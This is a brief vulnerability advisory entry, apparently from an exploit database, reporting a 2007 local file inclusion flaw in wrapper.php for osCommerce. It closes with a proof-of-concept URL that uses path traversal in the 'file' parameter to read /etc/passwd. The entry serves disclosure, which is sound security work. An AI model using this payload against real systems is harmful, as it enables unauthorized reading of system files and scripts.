Wrapper.php for osCommerce - Local File Inclusion



EKU-ID: 35314 CVE: OSVDB-42415 OSVDB-ID:
Author: Joe Bloomquist Published: 2007-06-20 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/24565/info

Wrapper.php for OsCommerce is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

http://www.example.com/wrapper.php?file=../../../../etc/passwd